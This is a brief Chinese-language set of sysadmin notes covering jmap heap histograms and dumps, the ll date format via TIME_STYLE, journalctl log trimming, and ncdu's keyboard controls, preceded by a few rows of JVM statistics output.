    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1040 2360.944 2386.868
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1041 2362.670 2388.594
    0.00 0.00 100.00 99.99 97.18 95.07 1343 25.924 1041 2362.670 2388.594

  • 导出堆栈信息
    jmap -histo > jmap_17928.txt 17928

  • 保存内存快照,使用jvisualvm.exe 或者MAT 全称 Eclipse Memory Analysis Tools 分析堆栈信息
    jmap -dump:format=b,file=e.bin 17928

ll 命令日期显示格式

使用export命令去临时修改一下文件的日期,运行以下命令进行修改:

export TIME_STYLE='+%Y-%m-%d %H:%M:%S'

清理垃圾日志文件

sudo journalctl --vacuum-size=10M

ncdu分析文件夹磁盘占用情况

? – 显示帮助界面

up, down j, k – 上下移动光标

right, enter, l – 打开所选目录

left, <, h – 返回上层目录

n – 按照文件名排序(再按一下倒序排列)

s – 按照文件大小排序(再按一下倒序排列)

C – 按照项目数排序(再按一下倒序排列)

a – 切换磁盘用量显示

d – 删除所选的文件或目录

i – 显示所选项的更多信息

r – 刷新/重新计算当前目录

b – 在当前目录下打开 shell

你可能感兴趣的:(linux,centos,运维,java,spring)